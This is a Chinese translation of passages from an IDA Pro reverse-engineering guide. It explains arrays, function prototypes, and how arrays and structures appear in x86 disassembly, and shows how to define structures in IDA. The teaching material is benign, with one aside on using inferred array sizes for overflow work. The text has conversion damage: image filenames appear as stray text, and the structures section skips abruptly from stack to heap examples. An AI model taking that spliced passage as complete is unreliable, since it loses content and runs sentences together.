.rdata:00402063                 db    0
.rdata:00402064                 db    0
.rdata:00402065                 db    0
.rdata:00402066                 db    0
.rdata:00402067                 db    0
.rdata:00402068                 db    0
.rdata:00402069                 db    0
.rdata:0040206A                 db    0

IDA 提供了将连续的数据定义组合成单个数组定义的功能。要创建一个数组,选择数组的第一个元素(我们选择了unk_402060),然后使用“编辑”▸“数组”来启动显示在图 7-11 中的数组创建对话框。如果在给定位置已定义了数据项,则在右键单击该项目时将可用数组选项。要创建的数组类型由作为数组第一个元素选择的项目关联的数据类型决定。在这种情况下,我们正在创建一个字节数组。

数组创建对话框

图 7-11. 数组创建对话框

注意

在创建数组之前,请确保通过更改数组中第一个元素的尺寸来选择适当的数组元素大小。

以下是对创建数组时有用字段的描述:

数组元素宽度

此值表示单个数组元素的大小(在这种情况下为 1 字节),并且由启动对话框时选择的数据值的大小决定。

最大可能大小

此值自动计算为在遇到另一个定义的数据项之前可以包含在数组中的最大元素数(不是字节)。指定更大的大小可能是可能的,但将需要后续的数据项未定义,以便将它们吸收到数组中。

元素数量

这是您指定数组确切大小的位置。数组占用的总字节数可以计算为元素数量 × 数组元素宽度。

每行项目

指定要在每条反汇编行上显示的元素数量。这可以用来减少显示数组所需的空间。

元素宽度

此值仅用于格式化目的,并控制当多个项目在同一行上显示时的列宽。

使用“dup”构造

此选项将使相同的数据值组合成单个项目,并带有重复指定符。

有符号元素

指定数据是以有符号或无符号值的形式显示。

显示索引

使数组索引以常规注释的形式显示。如果您需要在大型数组中定位特定的数据值,这很有用。选择此选项还将启用“索引”单选按钮,以便您可以选择每个索引值的显示格式。

创建为数组

不检查这一点似乎与对话框的目的相悖,并且通常会被选中。如果您只是想指定一些连续的项目而不将它们组合成数组,请取消选中。

接受图 7-11 中指定的选项,将产生以下紧凑的数组声明,它可以被读取为一个名为byte_402060的字节(db)数组,包含重复416次(1A0h)的值0

.rdata:00402060 byte_402060     db 1A0h dup(0)     ; DATA XREF: sub_401350+8↑o
.rdata:00402060                                    ; sub_401350+18↑o

结果是,416 行的反汇编代码被压缩成了一行(很大程度上归功于dup的使用)。在下一章中,我们将讨论在栈帧内创建数组。

摘要

与上一章一起,本章涵盖了 IDA 用户可能需要执行的最常见操作。通过使用数据库修改,您可以将自己的知识与 IDA 在分析阶段传授的知识结合起来,生成更有用的数据库。与源代码一样,有效使用名称、分配数据类型和详细注释不仅可以帮助您记住您已分析的内容,而且将极大地帮助那些可能需要使用您的工作的其他人。在下一章中,我们将继续深入探讨 IDA 的功能,通过查看如何处理更复杂的数据结构,例如由 C 的struct表示的数据结构,并继续检查编译的 C++的一些低级细节。

第八章:数据类型和数据结构

无标题图片

理解二进制程序行为的关键低垂之果在于对程序调用的库函数进行分类。调用connect函数的 C 程序正在创建网络连接。调用RegOpenKey的 Windows 程序正在访问 Windows 注册表。然而,为了理解这些函数是如何以及为什么被调用,还需要进行额外的分析。

发现函数的调用方式需要学习传递给函数的参数。在connect调用的例子中,除了知道函数正在被调用这一简单事实之外,了解程序连接的确切网络地址非常重要。理解传递给函数的数据是逆向工程函数签名(函数所需的参数的数量、类型和顺序)的关键,因此指出了在汇编语言级别理解数据类型和数据结构操作的重要性。

在本章中,我们将探讨 IDA 如何向用户传达数据类型信息,数据结构如何在内存中存储,以及如何访问这些数据结构中的数据。将特定数据类型与变量关联的最简单方法是通过观察变量作为我们了解其用途的函数的参数的使用。在分析阶段,IDA 会尽最大努力根据变量与 IDA 具有原型的函数的使用来注释数据类型。当可能时,IDA 会尽可能使用从函数原型提升的正式参数名称,而不是为变量生成默认的占位符名称。这可以在以下对connect函数调用的反汇编中看到:

.text:004010F3                 push    10h             ; namelen
.text:004010F5                 lea     ecx, [ebp+name]
.text:004010F8                 push    ecx             ; name
.text:004010F9                 mov     edx, [ebp+s]
.text:004010FF                 push    edx             ; s
.text:00401100                 call    connect

在这个列表中,我们可以看到每个push操作都附带了被推入的参数名称(来自 IDA 对函数原型的了解)。此外,为对应参数的两个局部栈变量![httpatomoreillycomsourcenostarchimages854061.png]命名。在大多数情况下,这些名称将比 IDA 可能生成的占位符名称提供更多信息。

IDA 从函数原型传播类型信息的能力不仅限于 IDA 类型库中包含的库函数。只要您已明确设置函数的类型信息,IDA 就可以从数据库中的任何函数传播正式参数名称和数据类型。在初始分析时,IDA 将占位符名称和通用类型int分配给所有函数参数,除非通过类型传播它有理由这样做。在任何情况下,您必须通过使用“编辑”▸“函数”▸“设置函数类型”命令、右键单击函数名称并在上下文菜单中选择“设置函数类型”或使用 Y 快捷键来设置函数的类型。对于下面的函数,这会导致显示图 8-1 中的对话框,您可以在其中输入函数的正确原型。

.text:00401050 ; ======== S U B R O U T I N E =========================
.text:00401050
.text:00401050 ; Attributes: bp-based frame
.text:00401050
.text:00401050 foo     proc near      ; CODE XREF: demo_stackframe+2A↓p
.text:00401050
.text:00401050 arg_0   = dword ptr  8
.text:00401050 arg_4   = dword ptr  0Ch
.text:00401050
.text:00401050         push    ebp
.text:00401051         mov     ebp, esp

如下所示,IDA 假设返回类型为int,根据使用的ret指令类型正确地推断出使用了cdecl调用约定,结合我们修改后的函数名称,并假设所有参数类型为int。因为我们尚未修改参数名称,所以 IDA 只显示它们的类型。

设置函数的类型

图 8-1. 设置函数的类型

如果我们将原型修改为int __cdecl foo(float f, char *ptr),IDA 将自动为函数插入原型注释![httpatomoreillycomsourcenostarchimages854061.png],并更改反汇编中的参数名称![httpatomoreillycomsourcenostarchimages854063.png],如下所示。

.text:00401050 ; ======== S U B R O U T I N E =========================
.text:00401050
.text:00401050 ; Attributes: bp-based frame
.text:00401050
.text:00401050 ; int __cdecl foo(float f, char *ptr)
.text:00401050 foo     proc near      ; CODE XREF: demo_stackframe+2A↓p
.text:00401050
.text:00401050 f       = dword ptr  8
.text:00401050 ptr     = dword ptr  0Ch
.text:00401050
.text:00401050         push    ebp
.text:00401051         mov     ebp, esp

最后,IDA 将此信息传播到所有新修改函数的调用者,从而改进了所有相关函数调用的注释,如下所示。注意,参数名称 fptr 已经作为注释传播出去!图片在调用函数中,并用于重命名之前使用虚拟名称的变量!图片

.text:004010AD         mov     eax, [ebp+ptr]
.text:004010B0         mov     [esp+4], eax    ; ptr
.text:004010B4         mov     eax, [ebp+f]
.text:004010B7         mov     [esp], eax      ; f
.text:004010BA         call    foo

返回到导入的库函数,通常 IDA 已经知道函数的原型。在这种情况下,你可以通过将鼠标悬停在函数名称上轻松地查看原型。^([44]) 当 IDA 不知道函数的参数序列时,它至少应该知道函数是从哪个库导入的(参见导入窗口)。当这种情况发生时,你学习函数行为的最佳资源是任何相关的手册页或其他可用的 API 文档(如 MSDN 在线^([45]))。当所有其他方法都失败时,请记住这句谚语:谷歌是你的朋友

在本章剩余部分,我们将讨论如何在程序中识别数据结构的使用,如何解码这些结构的组织布局,以及如何使用 IDA 在数据结构使用时提高反汇编的可读性。由于 C++类是 C 结构的复杂扩展,本章以对反汇编 C++程序进行逆向工程讨论结束。

识别数据结构的使用

虽然原始数据类型通常与 CPU 寄存器或指令操作数的大小自然匹配,但如数组和解构等复合数据类型通常需要更复杂的指令序列来访问它们包含的各个数据项。在我们可以讨论 IDA 提高使用复杂数据类型代码可读性的功能之前,我们需要回顾一下这种代码的外观。

数组成员访问

在内存布局方面,数组是最简单的复合数据结构。传统上,数组是包含相同数据类型连续元素的连续内存块。数组的大小很容易计算,因为它是由数组中元素的数量和每个元素的大小相乘得到的。使用 C 表示法,以下数组的最低字节消耗量

int array_demo[100];

计算如下

int bytes = 100 * sizeof(int);

通过提供一个索引值来访问单个数组元素,这个索引值可以是变量或常量,如下所示,这些数组引用:

 array_demo[20] = 15;  //fixed index into the array
  for (int i = 0; i < 100; i++) {
     array_demo[i] = i;  //varying index into the array
  }

假设为了举例,sizeof(int) 是 4 字节,那么在 的第一次数组访问中,访问了数组中位于 80 字节处的整数值,而第二次数组访问在 中访问了数组中偏移量为 0、4、8、... 96 字节的连续整数。第一次数组访问的偏移量可以在编译时计算为 20 * 4。在大多数情况下,第二次数组访问的偏移量必须在运行时计算,因为循环计数器 i 的值在编译时是不固定的。因此,对于循环的每次迭代,都必须计算乘积 i * 4 以确定数组中的确切偏移量。最终,访问数组元素的方式不仅取决于所使用的索引类型,还取决于数组在程序内存空间中的分配位置。

全局分配的数组

当数组在程序的全球数据区(例如 .data.bss 部分)内分配时,编译器在编译时已知数组的基址。固定的基址使得编译器能够计算使用固定索引访问的任何数组元素的固定地址。考虑以下使用固定和可变偏移量访问全局数组的简单程序:

int global_array[3];

int main() {
   int idx = 2;
   global_array[0] = 10;
   global_array[1] = 20;
   global_array[2] = 30;
   global_array[idx] = 40;
}

该程序反汇编为以下内容:

.text:00401000 _main           proc near
.text:00401000
.text:00401000 idx             = dword ptr −4
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 push    ecx
.text:00401004                 mov     [ebp+idx], 2
.text:0040100B                mov     dword_40B720, 10
.text:00401015                mov     dword_40B724, 20
.text:0040101F                mov     dword_40B728, 30
.text:00401029                 mov     eax, [ebp+idx]
.text:0040102C                mov     dword_40B720[eax*4], 40
.text:00401037                 xor     eax, eax
.text:00401039                 mov     esp, ebp
.text:0040103B                 pop     ebp
.text:0040103C                 retn
.text:0040103C _main           endp

虽然这个程序只有一个全局变量,但 中的反汇编行似乎表明存在三个全局变量。在 处计算偏移量(eax * 4)似乎是唯一暗示存在名为 dword_40B720 的全局数组的线索,而这个名称与在 处找到的全局变量相同。

根据 IDA 分配的虚拟名称,我们知道全局数组由从地址 0040B720 开始的 12 个字节组成。在编译过程中,编译器使用了固定的索引(0、1、2)来计算数组中相应元素的实际地址(0040B7200040B7240040B728),这些地址通过全局变量在 中引用。使用上一章中讨论的 IDA 的数组格式化操作(编辑 ▸ 数组),可以将 dword_40B720 格式化为一个包含三个元素的数组,如下面的列表所示。请注意,这种特定的格式化突出了数组偏移量的使用:

.text:0040100B                 mov     dword_40B720, 10
.text:00401015                 mov     dword_40B720+4, 20
.text:0040101F                 mov     dword_40B720+8, 30

在此示例中有两点需要注意。首先,当使用常量索引访问全局数组时,相应的数组元素将作为全局变量出现在相应的汇编中。换句话说,汇编将几乎不提供存在数组的证据。第二点是,使用变量索引值将我们引导到数组的起始位置,因为当计算偏移量加到它上面以计算要访问的实际数组位置时,基址将被揭示(如httpatomoreillycomsourcenostarchimages854095.png所示)。在httpatomoreillycomsourcenostarchimages854095.png的计算提供有关数组的一个额外重要信息。通过观察数组索引乘以的量(本例中为 4),我们了解到数组中单个元素的大小(尽管不是类型)。

堆栈分配的数组

如果数组作为堆栈变量分配,数组访问会有何不同?直观上,我们可能会认为它必须不同,因为编译器在编译时无法知道绝对地址,因此肯定即使是使用常量索引的访问也必须在运行时进行一些计算。然而,在实践中,编译器几乎将堆栈分配的数组与全局分配的数组同等对待。

考虑以下使用小型堆栈分配数组的程序:

int main() {
   int stack_array[3];
   int idx = 2;
   stack_array[0] = 10;
   stack_array[1] = 20;
   stack_array[2] = 30;
   stack_array[idx] = 40;
}

在编译时,stack_array的分配地址是未知的,因此编译器无法像全局数组示例中那样在编译时预先计算stack_array[1]的地址。通过检查此函数的汇编列表,我们可以了解堆栈分配的数组是如何被访问的:

.text:00401000 _main           proc near
.text:00401000
.text:00401000 var_10          = dword ptr −10h
.text:00401000 var_C           = dword ptr −0Ch
.text:00401000 var_8           = dword ptr −8
.text:00401000 idx             = dword ptr −4
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 10h
.text:00401006                 mov     [ebp+idx], 2
.text:0040100D                mov     [ebp+var_10], 10
.text:00401014                mov     [ebp+var_C], 20
.text:0040101B                mov     [ebp+var_8], 30
.text:00401022                 mov     eax, [ebp+idx]
.text:00401025                mov     [ebp+eax*4+var_10], 40
.text:0040102D                 xor     eax, eax
.text:0040102F                 mov     esp, ebp
.text:00401031                 pop     ebp
.text:00401032                 retn
.text:00401032 _main           endp

与全局数组示例一样,此函数似乎有三个变量(var_10var_Cvar_8),而不是三个整数的数组。根据在httpatomoreillycomsourcenostarchimages854061.pnghttpatomoreillycomsourcenostarchimages854063.png和![httpatomoreillycomsourcenostarchimages854093.png]使用的常量操作数,我们知道看似局部变量引用实际上是对stack_array的三个元素的引用,其中第一个元素必须位于内存地址最低的局部变量var_10处。

要理解编译器如何解析对数组其他元素的引用,可以考虑编译器在处理对stack_array[1]的引用时所经历的过程,该引用位于数组中 4 个字节的位置,或者位于var_10位置之后的 4 个字节。在栈帧中,编译器选择在ebp - 0x10处分配stack_array。编译器明白stack_array[1]位于ebp - 0x10 + 4,这简化为ebp - 0x0C。结果是 IDA 将其显示为局部变量引用。总体效果是,与全局分配的数组类似,使用常量索引值往往隐藏了栈分配数组的存在。只有数组访问处的图片才暗示var_10是数组中的第一个元素,而不是一个简单的整数变量。此外,图片处的反汇编行也有助于我们得出数组中单个元素大小为 4 个字节的结论。

栈分配数组和全局分配数组在编译器中处理得非常相似。然而,我们可以从栈示例的反汇编中提取一些额外信息。根据idx在栈中的位置,我们可以得出结论,以var_10开始的数组最多包含三个元素(否则会覆盖idx)。如果你是漏洞开发者,这可以在确定在溢出并开始损坏后续数据之前,你可以将多少数据放入数组中时非常有用。

堆分配数组

堆分配数组使用动态内存分配函数,如malloc(C)或new(C++)进行分配。从编译器的角度来看,处理堆分配数组的主要区别是编译器必须根据内存分配函数返回的地址值生成所有对数组的引用。为了进行比较,我们现在看一下以下函数,它在程序堆中分配了一个小数组:

int main() {
   int *heap_array = (int*)malloc(3 * sizeof(int));
   int idx = 2;
   heap_array[0] = 10;
   heap_array[1] = 20;
   heap_array[2] = 30;
   heap_array[idx] = 40;
}

在研究后续的反汇编代码时,你应该注意到与前面两个反汇编代码的一些相似之处和不同之处:

.text:00401000 _main      proc near
.text:00401000
.text:00401000 heap_array      = dword ptr −8
.text:00401000 idx             = dword ptr −4
.text:00401000
.text:00401000            push    ebp
.text:00401001            mov     ebp, esp
.text:00401003            sub     esp, 8
.text:00401006           push    0Ch             ; size_t
.text:00401008            call    _malloc
.text:0040100D            add     esp, 4
.text:00401010            mov     [ebp+heap_array], eax
.text:00401013            mov     [ebp+idx], 2
.text:0040101A            mov     eax, [ebp+heap_array]
.text:0040101D           mov     dword ptr [eax], 10
.text:00401023            mov     ecx, [ebp+heap_array]
.text:00401026           mov     dword ptr [ecx+4], 20
.text:0040102D            mov     edx, [ebp+heap_array]
.text:00401030           mov     dword ptr [edx+8], 30
.text:00401037            mov     eax, [ebp+idx]
.text:0040103A            mov     ecx, [ebp+heap_array]
.text:0040103D           mov     dword ptr [ecx+eax*4], 40
.text:00401044            xor     eax, eax
.text:00401046            mov     esp, ebp
.text:00401048            pop     ebp
.text:00401049            retn
.text:00401049 _main      endp

数组的起始地址(由malloc返回并存储在 EAX 寄存器中)被存储在局部变量heap_array中。在本例中,与先前的例子不同,每次访问数组时,都需要先读取heap_array的内容以获取数组的基址,然后才能将偏移量值添加到计算数组中正确元素的地址。heap_array[0]heap_array[1]heap_array[2]的引用分别需要 0、4 和 8 字节的偏移量,如所示。与先前的例子最相似的操作是heap_array[idx]的引用,其中数组中的偏移量继续通过将数组索引乘以数组元素的大小来计算。

堆分配的数组有一个特别好的特性。当数组的总大小和每个元素的大小都可以确定时,计算分配给数组的元素数量就变得很容易。对于堆分配的数组,传递给内存分配函数的参数(在本例中是传递给malloc0x0C)代表分配给数组的总字节数。将这个值除以元素的大小(在本例中为 4 字节,如从中的偏移量观察到的)将告诉我们数组中的元素数量。在先前的例子中,分配了一个包含三个元素的数组。

关于数组的使用的唯一确定结论是,当变量用作数组的索引时,数组最容易识别。数组访问操作需要将索引乘以数组元素的大小,然后将结果偏移量加到数组的基址上。不幸的是,正如我们将在下一节中展示的,当使用常量索引值来访问数组元素时,它们几乎不能表明数组的存在,并且看起来与用于访问结构成员的代码非常相似。

结构成员访问

在这里泛指为结构的 C 风格结构是异构数据集合,它允许将不同数据类型的项组合成一个单一复合数据类型。结构的一个主要特点是结构内的数据字段是通过名称而不是通过索引来访问的,就像数组一样。不幸的是,字段名称被编译器转换为数值偏移量,所以在查看反汇编代码时,结构字段访问看起来与使用常量索引访问数组元素非常相似。

当编译器遇到结构定义时,编译器会维护一个字段消耗的字节数的累计总和,以确定每个字段在结构中的偏移量。以下结构定义将用于接下来的示例:

struct ch8_struct {   //Size     Minimum offset     Default offset
   int field1;        //  4             0                  0
   short field2;      //  2             4                  4
   char field3;       //  1             6                  6
   int field4;        //  4             7                  8
   double field5;     //  8             11                 16
};                //Minimum total size: 19   Default size: 24

分配结构所需的最小空间由结构内部每个字段分配所需空间的总和决定。然而,你绝不应该假设编译器会使用分配结构所需的最小空间。默认情况下,编译器会尝试将结构字段对齐到允许最有效读写这些字段的内存地址。例如,4 字节整数字段将对齐到 4 的倍数偏移量,而 8 字节双精度浮点数将对齐到 8 的倍数偏移量。根据结构的组成,满足对齐要求可能需要插入填充字节,导致结构的实际大小大于其组成部分字段的总和。之前显示的示例结构的默认偏移量和结果结构大小可以在“默认偏移”列中查看。

可以通过使用编译器选项请求特定成员对齐来将结构压缩到所需的最小空间。Microsoft Visual C/C++ 和 GNU gcc/g++ 都将 pack 预处理指令识别为控制结构字段对齐的一种方式。GNU 编译器还识别 packed 属性作为控制结构对齐的一种方式。请求结构字段为 1 字节对齐会导致编译器将结构压缩到所需的最小空间。对于我们的示例结构,这会产生“最小偏移”列中找到的偏移量和结构大小。请注意,某些 CPU 在数据根据其类型对齐时性能更好,而其他 CPU 如果数据没有对齐到特定边界可能会生成异常。

考虑到这些事实,我们可以开始探讨编译代码中结构是如何处理的。为了进行比较,值得注意的是,与数组一样,结构成员的访问是通过将结构的基本地址加上所需成员的偏移量来完成的。然而,虽然数组偏移量可以在运行时从提供的索引值计算得出(因为数组中的每个项目都有相同的大小),结构偏移量必须预先计算,并且将在编译代码中以固定偏移量的形式出现在结构中,看起来几乎与使用常量索引的数组引用相同。

全局分配的结构

与全局分配的数组一样,全局分配的结构地址在编译时是已知的。这允许编译器在编译时计算结构每个成员的地址,从而消除了在运行时进行任何数学运算的需要。考虑以下访问全局分配结构的程序:

struct ch8_struct global_struct;

int main() {
   global_struct.field1 = 10;
   global_struct.field2 = 20;
   global_struct.field3 = 30;
   global_struct.field4 = 40;
   global_struct.field5 = 50.0;
}

如果这个程序使用默认的结构对齐选项进行编译,当我们反汇编它时,我们可以期待看到以下内容:

.text:00401000 _main           proc near
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 mov     dword_40EA60, 10
.text:0040100D                 mov     word_40EA64, 20
.text:00401016                 mov     byte_40EA66, 30
.text:0040101D                 mov     dword_40EA68, 40
.text:00401027                 fld     ds:dbl_40B128
.text:0040102D                 fstp    dbl_40EA70
.text:00401033                 xor     eax, eax
.text:00401035                 pop     ebp
.text:00401036                 retn
.text:00401036 _main           endp

此反汇编中没有进行任何数学运算来访问结构的成员,在没有源代码的情况下,不可能确定是否使用了结构。由于编译器在编译时已经完成了所有偏移量的计算,这个程序看起来引用了五个全局变量,而不是单个结构中的五个字段。你应该能够注意到与之前关于使用常量索引值的全局分配数组的例子之间的相似之处。

栈分配的结构

与栈分配的数组(见栈分配的数组。结构体在指定的偏移量包含以下字段:

  • 一个位于偏移量 0 的 4 字节(dword)字段

  • 一个位于偏移量 4 的 2 字节(word)字段

  • 一个位于偏移量 6 的 1 字节字段

  • 一个位于偏移量 8 的 4 字节(dword)字段

  • 一个位于偏移量 16(10h)的 8 字节(qword)字段

根据浮点指令的使用,我们可以进一步推断出qword字段实际上是一个double。将相同的程序编译成使用 1 字节对齐的结构体,得到的反汇编如下:

.text:00401000 _main           proc near
.text:00401000
.text:00401000 heap_struct     = dword ptr −4
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 push    ecx
.text:00401004                 push    19              ; size_t
.text:00401006                 call    _malloc
.text:0040100B                 add     esp, 4
.text:0040100E                 mov     [ebp+heap_struct], eax
.text:00401011                 mov     eax, [ebp+heap_struct]
.text:00401014                 mov     dword ptr [eax], 10
.text:0040101A                 mov     ecx, [ebp+heap_struct]
.text:0040101D                 mov     word ptr [ecx+4], 20
.text:00401023                 mov     edx, [ebp+heap_struct]
.text:00401026                 mov     byte ptr [edx+6], 30
.text:0040102A                 mov     eax, [ebp+heap_struct]
.text:0040102D                 mov     dword ptr [eax+7], 40
.text:00401034                 mov     ecx, [ebp+heap_struct]
.text:00401037                 fld     ds:dbl_40B128
.text:0040103D                 fstp    qword ptr [ecx+0Bh]
.text:00401040                 xor     eax, eax
.text:00401042                 mov     esp, ebp
.text:00401044                 pop     ebp
.text:00401045                 retn
.text:00401045 _main           endp

程序的唯一变化是结构体的大小变小(现在为 19 字节)以及调整了偏移量以适应每个结构体字段的重新对齐。

无论在编译程序时使用何种对齐方式,找到程序堆中分配和操作的结构体是确定给定数据结构大小和布局的最快方法。然而,请注意,许多函数不会立即访问结构体的每个成员来帮助你理解结构的布局。相反,你可能需要跟踪结构体指针的使用,并在指针解引用时记录使用的偏移量。这样,你最终能够拼凑出结构的完整布局。

结构体数组

一些程序员会说,复合数据结构的美丽之处在于它们允许你在较大的结构体内部嵌套较小的结构体,从而构建任意复杂的结构。在其他可能性中,这种能力允许有结构体数组、结构体嵌套以及作为成员的结构体包含数组。关于数组和结构体的先前的讨论,在处理这些嵌套类型时同样适用。例如,考虑以下简单程序中的结构体数组,其中heap_struct指向五个ch8_struct项的数组:

int main() {
     int idx = 1;
     struct ch8_struct *heap_struct;
     heap_struct = (struct ch8_struct*)malloc(sizeof(struct ch8_struct) * 5);
    heap_struct[idx].field1 = 10;
  }

访问位于 field1所需的操作包括将索引值乘以数组元素的大小,在这种情况下是结构体的大小,然后加上所需字段的偏移量。相应的反汇编在此处显示:

.text:00401000 _main           proc near
.text:00401000
.text:00401000 idx             = dword ptr −8
.text:00401000 heap_struct     = dword ptr −4
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 8
.text:00401006                 mov     [ebp+idx], 1
.text:0040100D                push    120              ; size_t
.text:0040100F                 call    _malloc
.text:00401014                 add     esp, 4
.text:00401017                 mov     [ebp+heap_struct], eax
.text:0040101A                 mov     eax, [ebp+idx]
.text:0040101D                imul    eax, 24
.text:00401020                 mov     ecx, [ebp+heap_struct]
.text:00401023                mov     dword ptr [ecx+eax], 10
.text:0040102A                 xor     eax, eax
.text:0040102C                 mov     esp, ebp
.text:0040102E                 pop     ebp
.text:0040102F                 retn
.text:0040102F _main           endp

反汇编显示从堆中请求了 120 字节 ()。在 处,数组索引乘以 24,然后加到 处数组的起始地址上。为了生成 处引用的最终地址,不需要额外的偏移。从这些事实中,我们可以推断出数组项的大小(24),数组中的项目数(120 / 24 = 5),以及每个数组元素中偏移量为 0 的 4 字节(dword)字段的事实。这个简短的列表没有提供足够的信息来得出关于每个结构中剩余 20 字节如何分配给额外字段任何结论。


^([44]) 将鼠标悬停在 IDA 显示中的任何名称上,会显示一个工具提示风格的弹出窗口,显示目标位置最多 10 行的反汇编代码。在库函数名称的情况下,这通常包括调用库函数的原型。

^([45]) 请参阅 msdn.microsoft.com/library/

创建 IDA 结构

在上一章中,我们看到了 IDA 的数组聚合功能如何通过将长数据声明列表折叠成单行反汇编来简化反汇编列表。在接下来的几节中,我们将探讨 IDA 提高操作结构代码可读性的功能。我们的目标是远离如 [edx + 10h] 这样的结构引用,转向更易读的如 [edx + ch8_struct.field5]

每当你发现程序正在操作一个数据结构时,你需要决定是否要将结构字段名称纳入你的反汇编中,或者你是否能够理解列表中散布的所有数字偏移。在某些情况下,IDA 可能会识别出作为 C 标准库或 Windows API 部分定义的结构的使用。在这种情况下,IDA 可能了解结构的精确布局,并能将数字偏移转换为更符号化的字段名称。这是理想的情况,因为它让你有更少的工作要做。一旦我们更了解 IDA 如何处理结构定义,我们就会回到这个场景。

创建一个新的结构(或联合)

当程序似乎使用 IDA 没有布局知识的结构时,IDA 提供了指定结构组成并将新定义的结构纳入反汇编的功能。IDA 中的结构创建发生在结构窗口内(见图图 8-2)。任何结构都不能被纳入反汇编,直到它首先在结构窗口中列出。任何 IDA 已知且被程序识别为使用的结构将自动在结构窗口中列出。

结构窗口

图 8-2. 结构窗口

在分析阶段,结构的使用可能未被识别的原因有两个。首先,尽管 IDA 可能了解特定结构的布局,但可能信息不足,无法使 IDA 得出程序使用该结构的结论。其次,该结构可能是一个 IDA 一无所知的非标准结构。在这两种情况下,问题都可以克服,并且在这两种情况下,解决方案都始于结构窗口。

结构窗口中的前四行文本作为对窗口内可能进行的操作的持续提醒。我们主要关心的操作包括添加、删除和编辑结构。使用插入键启动添加结构,这将打开如图图 8-3 所示的创建结构/联合对话框。

创建结构/联合对话框

图 8-3. 创建结构/联合对话框

为了创建一个新的结构,您必须首先在结构名称字段中指定名称。前两个复选框确定新结构将在结构窗口中显示的位置或是否显示。第三个复选框“创建联合”指定您是定义结构还是 C 样式联合^([46])。对于结构,大小是每个组件字段大小的总和,而对于联合,大小是最大组件字段的大小。添加标准结构按钮用于访问 IDA 当前所知的所有结构数据类型列表。此按钮的行为在使用标准结构中进行了讨论。使用标准结构。一旦指定了结构名称并点击“确定”,结构窗口中就会创建一个空的结构定义,如图图 8-4 所示。

空结构定义

图 8-4. 空结构定义

必须编辑此结构定义以完成结构布局的定义。

编辑结构成员

为了向你的新结构中添加字段,你必须使用字段创建命令 D、A 以及数字键盘上的星号键 (*)。最初,只有 D 命令是有用的,而且不幸的是,它的行为高度依赖于光标的位置。因此,建议按照以下步骤向结构中添加字段。

  1. 要向结构中添加新字段,请将光标定位在结构定义的最后一行(包含 ends 的那一行)上,然后按 D 键。这将导致在结构末尾添加一个新字段。新字段的大小将根据数据轮盘上首先选择的大小设置(第七章)。字段的名称最初将是 field_N,其中 N 是从结构开始到新字段开始(例如 field_0)的数字偏移量。

  2. 如果你需要修改字段的大小,你可以通过首先确保光标位于新字段名称上,然后通过重复按 D 键来循环通过数据轮盘上的数据类型,以选择字段的正确数据大小。或者,你可以使用选项 ▸ 设置数据类型来指定数据轮盘上不可用的数据大小。如果字段是一个数组,右键单击名称并选择数组以打开数组指定对话框 (第七章).

  3. 要更改结构字段的名称,请单击字段名称并使用 N 快捷键,或右键单击名称并选择重命名;然后为字段提供新名称。

以下有用的提示可能在你定义自己的结构时有所帮助。

  • 字段的字节偏移量在结构窗口的左侧以八位十六进制值显示。

  • 每次你添加或删除结构字段或更改现有字段的大小,结构的新 sizeof 将会在结构定义的第一行中反映出来。

  • 你可以向结构字段添加注释,就像你可以向任何反汇编行添加注释一样。右键单击(或使用快捷键)你想要添加注释的字段,然后选择可用的注释选项之一。

  • 与结构窗口顶部的说明相反,只有当 U 键是结构中的最后一个字段时,它才会删除结构字段。对于所有其他字段,按下 U 键仅取消定义字段,这会移除名称但不会移除分配给字段的字节。

  • 你负责在结构定义中正确对齐所有字段。IDA 不会区分打包或未打包的结构体。如果你需要填充字节来正确对齐字段,那么你有责任添加它们。填充字节最好添加为适当大小的虚拟字段,一旦添加了额外的字段,你可以选择取消定义或不取消定义。

  • 在结构体中间分配的字节只能通过首先取消定义相关的字段,然后选择编辑 ▸ 缩小结构类型来删除未定义的字节。

  • 可以通过选择将跟随新字节的字段,然后使用编辑 ▸ 扩展结构类型来在所选字段之前插入指定数量的字节,将字节插入到结构体的中间。

  • 如果你知道结构体的大小但不知道布局,你需要创建两个字段。第一个字段应该是一个size-1字节的数组。第二个字段应该是一个 1 字节的字段。创建第二个字段后,取消定义第一个(数组)字段。结构体的大小将被保留,你可以在以后更容易地回来定义字段及其大小,当你对结构体的布局了解更多时。

通过重复应用这些步骤(添加字段、设置字段大小、添加填充等),你可以创建ch8_struct(未打包版本)的 IDA 表示,如图 8-5 所示。

手动生成的 ch8_struct 定义

图 8-5. 手动生成的ch8_struct定义

在这个例子中,已经包含了填充字节以实现正确的字段对齐,并且字段已经被重命名为与前面例子中使用的一致。请注意,每个字段和结构体的整体大小(24 字节)与前面例子中看到的值相匹配。

如果你觉得结构定义在你的结构体窗口中占用的空间太多,你可以通过选择结构体中的任何字段并按数字键盘上的减号键(–)来折叠定义成一个单行摘要。一旦结构体完全定义并且需要很少的进一步编辑,这很有用。ch8_struct的折叠版本如图 8-6 所示。

IDA 已经知道的大多数结构体将以单行方式显示,因为预计它们不需要被编辑。折叠显示提供了一个提示,你可以使用数字键盘上的加号键(+)来展开定义。或者,双击结构体的名称也会展开定义。

一个折叠的结构定义

图 8-6. 一个折叠的结构定义

栈帧作为特殊结构

你可能会注意到结构定义看起来与与函数相关联的详细栈帧视图有些相似。这不是偶然的,因为 IDA 在内部将两者同等对待。两者都代表可以细分为命名组件字段的连续字节块,每个字段都与结构中的数字偏移量相关联。微小的区别在于,栈帧使用基于帧指针或返回地址的正负字段偏移量,而结构使用从结构开始的正偏移量。


^([46]) 一个联合体与结构类似,因为它可能由许多命名字段组成,每个字段类型不同。两者之间的区别在于,联合体内的字段直接重叠,因此联合体的大小等于最大字段的大小。

使用结构模板

在你的反汇编中,有几种方式可以利用结构定义。首先,你可以通过将数字结构偏移量,如[ebx+8],转换为符号引用,如[ebx+ch8_struct.field4],来重新格式化内存引用,使其更易读。后者提供了更多关于所引用内容的信息。由于 IDA 使用层次化表示法,可以清楚地知道正在访问的结构类型以及该结构中的哪个字段。这种应用结构模板的技术通常在结构通过指针引用时使用。第二种使用结构模板的方式是提供可以应用于栈和全局变量的额外数据类型。

为了理解结构定义如何应用于指令操作数,将每个定义视为类似枚举常量的集合是很有帮助的。例如,图 8-5 中的ch8_struct定义可以用伪 C 语言表示如下:

enum {
   ch8_struct.field1 = 0,
